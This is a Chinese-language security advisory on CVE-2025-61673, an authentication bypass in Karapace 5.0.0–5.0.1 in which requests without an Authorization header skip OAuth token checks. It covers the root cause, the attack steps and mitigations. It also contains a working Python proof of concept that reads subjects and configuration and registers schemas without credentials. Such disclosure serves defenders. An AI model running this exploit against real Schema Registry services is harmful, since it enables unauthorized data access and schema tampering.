IPBUF安全漏洞报告
English
CVE-2025-61673 CVSS 8.6 高危

CVE-2025-61673:Karapace OAuth 2.0认证绕过漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-61673
漏洞类型
认证绕过
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Karapace

相关标签

认证绕过OAuth 2.0KarapaceKafkaSchema Registry高危漏洞CVE-2025-61673未授权访问配置缺陷

漏洞概述

CVE-2025-61673是Karapace(一个开源的Kafka REST和Schema Registry实现)中存在的一个高危认证绕过漏洞。该漏洞影响Karapace 5.0.0和5.0.1版本,CVSS评分为8.6分。Karapace作为Kafka生态系统中重要的Schema Registry组件,被广泛用于数据序列化和模式管理。当Karapace配置为使用OAuth 2.0 Bearer Token认证时,存在严重的认证逻辑缺陷。具体而言,如果客户端发送的HTTP请求中不包含Authorization头信息,服务端的令牌验证逻辑将被完全跳过,导致未认证的用户可以访问和操作本应受保护的Schema Registry端点。该漏洞使得OAuth认证机制形同虚设,攻击者可以在无需任何凭证的情况下,对Schema Registry执行读写操作,可能导致敏感配置数据泄露、恶意模式注入或服务完整性破坏。此漏洞已在5.0.2版本中修复,建议所有受影响的用户尽快升级。

技术细节

该漏洞的根本原因在于Karapace在处理OAuth 2.0 Bearer Token认证时的逻辑缺陷。在正常的认证流程中,服务端应当从HTTP请求头中提取Authorization字段,解析Bearer Token,并验证令牌的有效性。然而,在受影响的5.0.0和5.0.1版本中,代码实现存在条件判断错误:当请求缺少Authorization头时,程序并未将其视为认证失败并拒绝请求,而是直接跳过了整个令牌验证流程,继续以已认证用户的身份处理请求。

从技术实现角度看,这通常是由于代码中错误地使用了类似`if authorization_header: validate_token()`的逻辑,而正确实现应为`if not authorization_header: reject_request()`或`if authorization_header: validate_token() else: reject_request()`。这种逻辑缺陷使得攻击者只需发送不包含Authorization头的HTTP请求,即可绕过认证机制。

利用方式非常简单:攻击者无需任何凭证,直接向受保护的Schema Registry端点(如/subjects、/config、/schemas等)发送HTTP请求,由于服务端跳过了令牌验证,请求将被正常处理,从而实现对Schema Registry的未授权读写访问。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或情报收集,识别运行Karapace 5.0.0或5.0.1版本且配置了OAuth 2.0 Bearer Token认证的目标服务。
STEP 2
步骤2:构造恶意请求
攻击者构造不包含Authorization头的HTTP请求,发送到受保护的Schema Registry端点(如/subjects、/config等)。
STEP 3
步骤3:触发认证绕过
由于代码逻辑缺陷,Karapace服务端在检测到缺少Authorization头时直接跳过令牌验证,将请求视为已认证请求。
STEP 4
步骤4:未授权访问
攻击者成功绕过认证,可以读取Schema Registry中的所有schema信息、配置数据,以及注册新的schema或修改现有schema。
STEP 5
步骤5:数据篡改或注入
攻击者可以注册恶意schema或修改兼容性配置,可能导致下游Kafka消费者解析异常、数据污染或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-61673 - Karapace OAuth 2.0 Authentication Bypass PoC # This PoC demonstrates the authentication bypass by sending requests # WITHOUT an Authorization header to protected Schema Registry endpoints. import requests import json # Target Karapace Schema Registry endpoint TARGET_URL = "http://target-karapace-host:8081" def exploit_read_subjects(): """ Bypass OAuth authentication by omitting the Authorization header. The server skips token validation entirely when no header is present. """ # Note: No Authorization header is sent - this triggers the bypass response = requests.get(f"{TARGET_URL}/subjects") if response.status_code == 200: print("[+] Authentication bypassed successfully!") print(f"[+] Retrieved subjects: {response.json()}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False def exploit_read_config(subject): """ Read global or subject-level configuration without authentication. """ response = requests.get(f"{TARGET_URL}/config/{subject}") if response.status_code == 200: print(f"[+] Config for {subject}: {response.json()}") return response.json() return None def exploit_register_schema(subject, schema): """ Register a malicious schema without authentication. """ payload = {"schema": json.dumps(schema)} headers = {"Content-Type": "application/vnd.schemaregistry.v1+json"} # No Authorization header - bypasses OAuth validation response = requests.post( f"{TARGET_URL}/subjects/{subject}/versions", headers=headers, data=json.dumps(payload) ) if response.status_code == 200: print(f"[+] Schema registered: {response.json()}") return True return False if __name__ == "__main__": print("[*] CVE-2025-61673 - Karapace OAuth Bypass PoC") print("[*] Targeting:", TARGET_URL) print() # Step 1: List all subjects (unauthorized read) exploit_read_subjects() # Step 2: Read configuration exploit_read_config("test-subject") # Step 3: Register arbitrary schema (unauthorized write) malicious_schema = { "type": "record", "name": "MaliciousRecord", "fields": [{"name": "data", "type": "string"}] } exploit_register_schema("attacker-subject", malicious_schema)

影响范围

Karapace >= 5.0.0, < 5.0.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在反向代理或API网关层面强制要求所有到Schema Registry的请求必须包含有效的Authorization头,拒绝无Authorization头的请求;2)通过网络防火墙限制Schema Registry的访问来源,仅允许可信IP访问;3)启用详细的访问日志记录,监控异常访问行为;4)临时切换到其他认证机制(如Basic Auth或mTLS)作为替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表